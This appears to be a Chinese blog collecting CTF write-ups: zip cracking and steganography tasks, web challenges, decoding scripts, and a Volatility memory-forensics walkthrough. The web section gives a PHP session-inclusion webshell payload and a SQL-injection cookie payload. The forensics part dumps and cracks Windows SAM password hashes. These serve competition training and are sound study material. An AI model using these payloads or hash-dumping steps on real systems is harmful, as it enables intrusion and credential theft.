用这个密码使用veracrypt去挂载flagbox,就可以获得flag。

misc3

一开始是hardzip,有个密码1,看文件比较短尝试CRC32爆破,爆破完的密码拼起来就是easyzip的解压密码。

解压下来easyzip,

通过伪加密拿到redeme.txt,尝试明文攻击。

这里需要注意的是,使用明文攻击需要保证待破解压缩包里只有一个文件,也就是已知文件。因为这里面有一个伪加密,其他文件的压缩算法可能与已知文件的不一致,所以为了保证顺利进行,需要将其他文件删除(这道题所需要,其他情况下如果加密方式都一样的话就不用删除。)

misc4

npmtxt打开一看啥也不懂,010editor打开一看有看不懂的东西,搜了搜16进制慢慢搜就搜到了0宽隐写。

把那一串复制到https://yuanfux.github.io/zero-width-web/

decode就可以获得解压密码

RealV1siBle

打开是张图,silenteye一把梭出来flag。

总结

这次比赛觉得web比较难,ssti没做出来比较上心。最近打算深度学习ssti相关内容,争取下次做出来!

前言

打聊城的比赛,又白给了,拿了参与奖,做出来两个misc,剩下两个misc都做了快一半,没思路了,特来复现。

web

web1

打开之后是一个登陆页面,查看源码发现了测试账号test/test

查看robots.txt 发现php.php 发现是phpinfo。

登录之后发现可能存在LFI,然后上了下扫描器,扫到了一些文件,尝试包含info.php,得到源码,然后发现了include了template/info.html,于是访问。查看源码发现了hint m4nageee.php。然后读manage的源码,在源码中发现包含了2333.html,于是访问。

查看源码时发现了php代码,尝试PHP session文件包含。

但是需要session的存放位置,于是通过扫描到的php.php查看session日志的存放位置/var/lib/php5,遂包含之。

在m4nageee里面写nickname到session文件里面,利用LFI包含getshell。

当前我的phpsessid为0u335c2ud2h9gjq0lq6nos1i72

所以session文件就是/var/lib/php5/sess_0u335c2ud2h9gjq0lq6nos1i72,包含即可。

nikename里面写

1
2
3
4
5
6
7
8
 <?php system("cat fla*"); ?>
即可绕过对flag的过滤

或者这样写

<?php system("cat fl\ag_0ba7bc92fcd57e337ebb9e74308c811f"); ?>

等等。。

web2 web3

题目提示使用sqlmap注入,但是我注入巨拉跨。。而且数据库是sqlite的,我只会一点mysql的注入。。当时没做出来,赛后复现下。

这题是使用cookie注入。我明确地知道自己不会用sqlmap进行cookie注入。

不会 跟官方的思路没复现出来,等wp。

这里放下济大师傅的web2 web3的payload:

Cookie: PHPSESSID=da55nb2kgsge2luvc5m53k5r90; username=test; password=test’ OR 1=1 LIMIT 1 OFFSET 1 –

password=test’ OR 1=1 LIMIT 1 OFFSET 1 – ; userinfo=eyJ1c2VybmFtZSI6InRlc3QiLCJwYXNzd29yZCI6InRlc3QnIE9SIDE9MSBMSU1JVCAxIE9GRlNFVCAxIC0tICJ9Cg%3D%3D

misc

ez_decode

简单的编码转换:

1
&#54;&#54;&#54;&#99;&#54;&#49;&#54;&#55;&#55;&#98;&#54;&#54;&#51;&#57;&#54;&#52;&#54;&#54;&#51;&#53;&#51;&#52;&#51;&#48;&#51;&#49;&#51;&#48;&#51;&#48;&#51;&#56;&#51;&#51;&#54;&#50;&#51;&#48;&#54;&#54;&#51;&#49;&#54;&#54;&#51;&#50;&#51;&#51;&#54;&#49;&#51;&#51;&#54;&#53;&#54;&#49;&#54;&#53;&#54;&#51;&#54;&#51;&#51;&#53;&#54;&#52;&#51;&#53;&#54;&#49;&#51;&#55;&#54;&#51;&#55;&#100;

html实体编码->hexo2string->flag

flag{f9df54010083b0f1f23a3eaecc5d5a7c}

qr_code:

打开很多二维码,盲猜扫出来内容转0和1

比赛的时候有个简单的读二维码的工具,但是批量不会写脚本。。就读了两个,看哪个是0哪个是1,然后bin2ascii就可以了。

用脚本的做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#  -*-coding:utf8 -*-
import os
import zxing
import binascii
import base64
reader=zxing.BarCodeReader()
asc=''
path="C:\\Users\\Administrator\\Desktop\\聊城\\qrcode"
files=os.listdir(path)
for i in range (0,len(files)-1):
# try:
# content=reader.decode(file).raw
# if content=="zero":
# asc+=str(0) #这是识别二维码的方法
# if content=="one":
# asc+=str(1)
# except:
# pass
size=os.path.getsize(str(i)+".png")
#这是使用filesize做的方法
if size==3409:
asc+='0'
else:
asc+='1'
asc=int(asc,base=2)
print(asc)
asc=hex(asc)
asc=asc[2:]
print(binascii.a2b_hex(asc).decode())

flag{duyoulikeit}

relax

打开是个.flag结尾的文件,丢进010editor看见是PK开头,考虑zip,解压出来一个flag.txt 一个音频。

flagtxt里面的base64解出来啥也不是,于是继续看音频。

考虑音频隐写,在文件详细信息里面发现了一串base64,解码后打开mp3stego,输入这个密码,得到了一串fakeflag:

fakeflag{same_length_with_true_flaghh}

和真的长的一样呢,真真假假

后面就没思路了。

后来看师傅的wp说需要讲该字符串与之前解出来啥也不是的base64异或就可以得到flag。草。

上脚本:

1
2
3
4
5
6
7
8
9
10
import  base64
with open("flag.txt") as f:
str1=f.readline()
str1=base64.b64decode(str1)
fakeflag="fakeflag{same_length_with_true_flaghh}".encode()
flag=""
for i in range (len(fakeflag)):
tmp=fakeflag[i]^str1[i]
flag+=chr(tmp)
print( flag)

这里需要注意的是:encode()方法是str类型提供的,将其转换为byte类型。decode()方法是将byte类型转化为str类型。之前我都是出错了就直接瞎encode,decode,咋对咋弄。。今天终于知道了。

flag:flag{9ff3a239027a7089237686b384862d33}

base64

base64套娃,光想着basecrack,结果直接卡死。。就是没想起来自己写脚本。

附上hxd的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64
with open ("base.txt","rb") as f:
content=f.read()
while True:

try:
content=base64.b16decode(content).decode()
print("b16")
print(content)
except:
try:
content=base64.b32decode(content).decode()
print("b32")
print(content)

except:
try:
content=base64.b64decode(content).decode()
print("b64")
print(content)

except:
try:
content=base64.b85decode(content).decode()
print("b85")
print(content)

except:
break;

flag:flag{4b057431c3ee0c4f56d4dad18c352375}

取证需要用到的工具:

volatility、注册表分析工具(WRR)、AXIOM等。

例题分析

湖湘杯misc

首先看一下imageinfo

1
volatility -f 用户名注册表.vmem  imageinfo

选择一个supported profile,这里选第一个不行,所以选第二个Win2003SP2x86

先扫一下pslist

volatility -f 用户名注册表.vmem –profile=Win2003SP2x86 pslist

除了winlogon.exe之外没啥收获,然后扫一下网络,也没啥收获。

后面尝试扫描connscan,cmdscan,notepad。

在扫notepad的时候发现了一些东西,于是尝试扫一下后缀为.txt的文件,看看有没有收获。

发现了一个file.txt,尝试dump到本地。

1
volatility -f 用户名注册表.vmem  --profile=Win2003SP2x86 dumpfiles -Q 0x000000000412cde0 -D ./

dump下来的文件内容为

什么?计算机又被不知名账户登录了?明明在计算机管理中没有这个用户,为什么还会被这个用户登录呢?电脑跟前的你能帮我找到原因吗?flag为该用户的用户名以及密码的md5值。

格式:md5(用户名:密码)

下面考虑在注册表中找一下隐藏用户。

首先看一下注册表。

1
volatility -f 用户名注册表.vmem  --profile=Win2003SP2x86 hivelist volatility -f 用户名注册表.vmem  --profile=Win2003SP2x86 hivelist

发现了SAM表。SAM表是存储了电脑登录用户相关信息的表,尝试dump出SAM表。

1
volatility -f 用户名注册表.vmem  --profile=Win2003SP2x86 dumpregistry -D ./

然后使用注册表分析工具打开。

可以看到很多隐藏账户,一个个看看是否有last logon 这个属性。

最后找到了用户 FHREhpe,然后再回到volatility里面hashdump 出来关于他的账号密码。

1
2
3
volatility -f 用户名注册表.vmem  --profile=Win2003SP2x86 hashdump | grep FHREhpe
有如下数据:
FHREhpe$:1171:70fdb8f853bd427d7584248b8d2c9f9e:f3cf477fc3ea6ec0b3b5887616dd4506:::

Windows系统下的hash*密码格式为:用户名称:RID:LM-HASH:NT-HASH*值

获得NT HASH值后可以去md5网站解密,解密后的密码是NIAIWOMA

然后将其MD5加密后即可获得flag。

参考链接

https://bbs.ichunqiu.com/thread-59102-1-1.html

https://www.sqlsec.com/2019/11/winhash.html